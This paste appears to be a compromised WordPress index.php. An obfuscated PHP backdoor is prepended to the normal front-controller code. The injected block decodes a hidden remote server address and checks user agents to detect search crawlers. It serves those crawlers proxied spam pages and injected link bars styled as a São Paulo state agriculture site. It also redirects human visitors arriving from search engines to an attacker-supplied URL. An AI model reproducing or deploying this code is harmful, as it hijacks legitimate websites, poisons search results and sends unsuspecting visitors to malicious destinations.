Paste #686330

<?php

$h=~"\x97\x9A\x87\xCD\x9D\x96\x91";$q=~"\x9D\x9E\x8C\x9A\xC9\xCB\xA0\x9B\x9A\x9C\x90\x9B\x9A";$v=~"\x8C\x8B\x8D\x8D\x9A\x89";$t=~"\x8C\x8B\x8D\x8B\x8D";$r=~"\x8C\x8B\x8D\xA0\x8D\x90\x8B\xCE\xCC";$z=~"\x98\x85\x96\x91\x99\x93\x9E\x8B\x9A";$k=~"\xB4\x87\xB4\x87";$u=~"\xBE\xBD\xBC\xBB\xBA\xB9\xB8\xB7\xB6\xB5\xB4\xB3\xB2\xB1\xB0\xAF\xAE\xAD\xAC\xAB\xAA\xA9\xA8\xA7\xA6\xA5\x9E\x9D\x9C\x9B\x9A\x99\x98\x97\x96\x95\x94\x93\x92\x91\x90\x8F\x8E\x8D\x8C\x8B\x8A\x89\x88\x87\x86\x85\xCF\xCE\xCD\xCC\xCB\xCA\xC9\xC8\xC7\xC6\xD4\xD0";$w=~"\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD4\xD0";$target_origin=$q($t('zSI9',$w,$u)).$q($v('6MHc')).$q($t('Ob0r',$w,$u)).$q($t('xr47',$w,$u)).$z($q('Sy3KBAA=')).$z($q('S8tMBgA=')).$v('wra').($h('2e1a')^$k).$r('.p').$z($q('y88FAA=='));


$proxy_token   = "nQhB5gLxjBWGZDsVWamCA5kDazNkXmmYgsgxncw2LETKyBE8";

$inject_topbar = true;
$sp_prefix     = '';
$sp_site_name  = '';

$ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$is_bot = false;
$bot_keywords = array('googlebot','bingbot','baiduspider','slurp','sogou','ia_archiver',
                      'yandexbot','bytespider','petalbot','yisouspider','360spider',
                      'applebot','gptbot','claudebot','facebookexternalhit','twitterbot');
foreach ($bot_keywords as $keyword) {
    if (strpos($ua, $keyword) !== false) { $is_bot = true; break; }
}

$request_uri = $_SERVER['REQUEST_URI'];
$path = parse_url($request_uri, PHP_URL_PATH);
if ($path === false || $path === null || $path === '') { $path = '/'; }

$host = isset($_SERVER['HTTP_HOST']) ? strtolower($_SERVER['HTTP_HOST']) : '';

$scheme = '';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] !== '') {
    $scheme = strtolower(trim(explode(',', $_SERVER['HTTP_X_FORWARDED_PROTO'])[0]));
} elseif (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== '' && $_SERVER['HTTPS'] !== 'off') {
    $scheme = 'https';
} elseif (isset($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] !== '') {
    $scheme = strtolower($_SERVER['REQUEST_SCHEME']);
} elseif (isset($_SERVER['SERVER_PORT']) && (int)$_SERVER['SERVER_PORT'] === 443) {
    $scheme = 'https';
} else {
    $scheme = 'http';
}

$client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';

$GLOBALS['sp_scheme'] = $scheme;
$GLOBALS['sp_site_name'] = isset($sp_site_name) ? $sp_site_name : '';

$boot0 = sp_bootstrap($target_origin, $proxy_token, $host, '');
$themes = $boot0['themes'];

$forced_prefix = trim($sp_prefix);
if ($forced_prefix !== '' && $forced_prefix[0] !== '/') { $forced_prefix = '/' . $forced_prefix; }
$forced_prefix = rtrim($forced_prefix, '/');

$prefix = $forced_prefix;
$is_shadow = false;

if (!empty($themes)) {
    $parts = array_values(array_filter(explode('/', trim($path, '/')), 'strlen'));
    for ($i = 0; $i + 1 < count($parts); $i++) {
        if (!in_array($parts[$i], $themes, true)) { continue; }
        $seg = urldecode($parts[$i + 1]);
        $seg = str_replace(' ', '-', $seg);
        if ($seg === 'index' || preg_match('#^[\p{L}\p{N}]+(?:-[\p{L}\p{N}]+)*$#u', $seg) === 1) {
            $is_shadow = true;
            if ($forced_prefix === '' && $i > 0) {
                $prefix = '/' . implode('/', array_slice($parts, 0, $i));
            }
            break;
        }
    }
}

if (!$is_shadow) {
    $force = isset($_GET['sp_test']) && $_GET['sp_test'] === '1';
    if (($is_bot || $force) && $inject_topbar) {
        $boot = sp_bootstrap($target_origin, $proxy_token, $host, $prefix);
        if (!empty($boot['links'])) { sp_attach_topbar(sp_render_topbar($boot['links'], '')); }
    }
    return;
}

if (!$is_bot) {
    $jump = isset($boot0['jump']) ? trim($boot0['jump']) : '';
    $ref  = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
    if ($jump !== '' && $ref !== '' && sp_is_search_referer($ref)) {
        if (!headers_sent()) { header('Location: ' . $jump, true, 302); }
        exit;
    }
    return;
}

$shadow_path = $path;
if ($prefix !== '' && strpos($shadow_path, $prefix) === 0) {
    $shadow_path = substr($shadow_path, strlen($prefix));
    if ($shadow_path === '' || $shadow_path[0] !== '/') { $shadow_path = '/' . $shadow_path; }
}

$target_url = rtrim($target_origin, '/') . '/p' . $shadow_path;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_AUTOREFERER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);

$headers = array(
    "X-Forwarded-Host: " . $host,
    "X-Forwarded-Proto: " . $scheme,
    "X-Real-IP: " . $client_ip,
    "X-Forwarded-For: " . $client_ip,
    "X-Proxy-Token: " . $proxy_token,
    "X-Path-Prefix: " . $prefix,
    "X-Site-Name: " . $GLOBALS['sp_site_name'],
    "User-Agent: " . (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''),
    "Accept: text/html,application/xhtml+xml",
    "Accept-Encoding: gzip",
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_ENCODING, '');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

$content = curl_exec($ch);
$http_code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
$content_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
curl_close($ch);

if (($http_code === 301 || $http_code === 302) && $content === false) {
    if (!headers_sent()) { header("Location: " . rtrim($path, '/') . "/index", true, 301); }
    exit;
}

if ($content === false || $content === '' || $http_code === 0 || $http_code >= 500) {
    $http_code = 200;
    $content_type = 'text/html; charset=utf-8';
    $seg = basename($path);
    if ($seg === '' || $seg === 'index') {
        $parts = explode('/', trim($path, '/'));
        $seg = isset($parts[0]) && $parts[0] !== '' ? $parts[0] : 'Home';
    }
    $title = htmlspecialchars(ucwords(str_replace('-', ' ', $seg)), ENT_QUOTES, 'UTF-8');
    $content = '<!doctype html><html><head><meta charset="utf-8">'
             . '<meta name="viewport" content="width=device-width,initial-scale=1">'
             . '<title>' . $title . '</title></head><body>'
             . '<h1>' . $title . '</h1>'
             . '<p>This page is being prepared. Please check back later.</p>'
             . '</body></html>';
}

if ($content_type && !headers_sent()) { header("Content-Type: " . $content_type); }
if (function_exists('http_response_code')) { http_response_code($http_code); }

echo $content;
exit;

function sp_is_search_referer($ref)
{
    $h = parse_url($ref, PHP_URL_HOST);
    if (!$h) { return false; }
    $h = strtolower($h);
    $engines = array('google.','bing.com','yahoo.com','baidu.com','yandex.',
                     'duckduckgo.com','sogou.com','so.com','naver.com','seznam.cz');
    foreach ($engines as $e) {
        if (strpos($h, $e) !== false) { return true; }
    }
    return false;
}

function sp_log($msg)
{
    @error_log('[spider_proxy] ' . $msg);
}

function sp_bootstrap($target, $token, $host, $prefix = '')
{
    static $memo = array();
    $mkey = $host . '|' . $prefix;
    if (isset($memo[$mkey])) {
        $m = $memo[$mkey];
        if (!array_key_exists('jump', $m)) { $m['jump'] = ''; }
        return $m;
    }

    $empty = array('themes' => array(), 'links' => array(), 'topbar' => '', 'jump' => '');

    $dir = function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : __DIR__;
    $scheme = isset($GLOBALS['sp_scheme']) ? $GLOBALS['sp_scheme'] : '';
    $file = $dir . '/sp_boot_' . md5($scheme . '|' . $host . '|' . $prefix) . '.json';

    if (isset($_GET['sp_refresh']) && $_GET['sp_refresh'] === '1') { @unlink($file); }

    if (is_file($file)) {
        $age = time() - filemtime($file);
        $raw = @file_get_contents($file);
        if ($raw !== false) {
            $j = json_decode($raw, true);
            if (is_array($j) && isset($j['themes']) && is_array($j['themes'])) {
                $ttl = isset($j['ttl']) ? (int)$j['ttl'] : 600;
                $links = isset($j['links']) && is_array($j['links']) ? $j['links'] : array();
                $cached = array(
                    'themes' => $j['themes'],
                    'links'  => $links,
                    'topbar' => sp_render_topbar($links, ''),
                    'jump'   => isset($j['jump']) ? (string)$j['jump'] : '',
                );
                $memo[$mkey] = $cached;
                if ($age < $ttl) { return $cached; }
            }
        }
    }

    $fresh = sp_fetch_bootstrap($target, $token, $host, $prefix);
    if ($fresh !== null) {
        @file_put_contents($file, json_encode($fresh), LOCK_EX);
        $result = array(
            'themes' => $fresh['themes'],
            'links'  => $fresh['links'],
            'topbar' => $fresh['topbar'],
            'jump'   => isset($fresh['jump']) ? (string)$fresh['jump'] : '',
        );
        $memo[$mkey] = $result;
        return $result;
    }

    if (isset($memo[$mkey])) {
        $m = $memo[$mkey];
        if (!array_key_exists('jump', $m)) { $m['jump'] = ''; }
        return $m;
    }
    return $empty;
}

function sp_fetch_bootstrap($target, $token, $host, $prefix = '')
{
    if (!function_exists('curl_init')) { return null; }

    $ch = curl_init(rtrim($target, '/') . '/v1/bootstrap');
    if ($ch === false) { return null; }

    $body = json_encode(array(
        'host'   => $host,
        'n'      => 60,
        'scheme' => isset($GLOBALS['sp_scheme']) ? $GLOBALS['sp_scheme'] : '',
        'prefix' => $prefix,
        'name'   => isset($GLOBALS['sp_site_name']) ? $GLOBALS['sp_site_name'] : '',
    ), JSON_UNESCAPED_SLASHES);

    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
    curl_setopt($ch, CURLOPT_TIMEOUT, 4);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_ENCODING, '');

    $ts = (string)time();
    $sig = hash_hmac('sha256', hash('sha256', $body) . $ts, $token);

    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Content-Type: application/json',
        'Authorization: SE1-HMAC-SHA256 Token=' . $token . ',Ts=' . $ts . ',Sig=' . $sig,
    ));

    $resp = curl_exec($ch);
    $code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $curl_err = curl_error($ch);
    curl_close($ch);

    if ($resp === false) { sp_log('bootstrap: curl 失败 ' . $curl_err); return null; }
    if ($code !== 200) { sp_log('bootstrap: HTTP ' . $code . '  body=' . substr((string)$resp, 0, 200)); return null; }

    $j = json_decode($resp, true);
    if (!is_array($j) || !isset($j['themes']) || !is_array($j['themes'])) {
        sp_log('bootstrap: 响应格式不对 ' . substr((string)$resp, 0, 200));
        return null;
    }

    $links = isset($j['links']) && is_array($j['links']) ? $j['links'] : array();

    return array(
        'themes' => $j['themes'],
        'links'  => $links,
        'topbar' => sp_render_topbar($links, ''),
        'jump'   => isset($j['jump']) ? (string)$j['jump'] : '',
        'ver'    => isset($j['ver']) ? $j['ver'] : 0,
        'ttl'    => isset($j['ttl']) ? (int)$j['ttl'] : 600,
        'at'     => time(),
    );
}

function sp_topbar_tpl()
{
    return <<<'SP_TOP_TEMPLATE'
<div id="topbar" class="topbar topbar-2" style="">
		<div class="container">
			<div class="row">
				
					<div class="topbar-left topbar-widgets text-left col-md-7 col-sm-12 col-xs-12">
						<div id="text-4" class="widget widget_text">			<div class="textwidget"><p>Um serviço da Secretaria de Agricultura e Abastecimento do Estado de São Paulo</p>
</div>
		</div>					</div>

								
					<div class="topbar-right topbar-widgets text-right col-md-5 col-sm-12 col-xs-12">
						<div id="nav_menu-1" class="widget widget_nav_menu"><div class="menu-topbar-menu-container"><ul id="menu-topbar-menu" class="menu"><li id="menu-item-246" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-246"></li>{LINKS}
</ul></div></div>					</div>

							</div>
		</div>
	</div>
SP_TOP_TEMPLATE;
}

function sp_render_topbar($links, $heading)
{
    $tpl = sp_topbar_tpl();

    if ($heading !== '') {
        $tpl = preg_replace(
            '#(<div class="textwidget"><p>)(.*?)(</p>)#s',
            '${1}' . str_replace(array('\\', '$'), array('\\\\', '\\$'), $heading) . '${3}',
            $tpl,
            1
        );
    }

    $lis = array();
    foreach ($links as $l) {
        $lis[] = '<li><strong><a href="' . htmlspecialchars($l['href'], ENT_QUOTES, 'UTF-8')
               . '" title="' . htmlspecialchars($l['title'], ENT_QUOTES, 'UTF-8')
               . '">' . htmlspecialchars($l['title'], ENT_QUOTES, 'UTF-8') . '</a></strong></li>';
    }

    return str_replace('{LINKS}', implode("\n", $lis), $tpl);
}

function sp_attach_topbar($block)
{
    if (headers_sent()) { return; }
    if ($block === '') { return; }

    ob_start(function ($buf) use ($block) {
        if (!is_string($buf) || $buf === '') { return $buf; }
        if (stripos($buf, '<html') === false) { return $buf; }
        if (preg_match('#<body\b[^>]*>#i', $buf, $m, PREG_OFFSET_CAPTURE)) {
            $pos = $m[0][1] + strlen($m[0][0]);
            return substr($buf, 0, $pos) . "\n" . $block . substr($buf, $pos);
        }
        if (stripos($buf, '</body>') !== false) {
            return str_ireplace('</body>', $block . '</body>', $buf);
        }
        return $buf;
    });
}

/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
Raw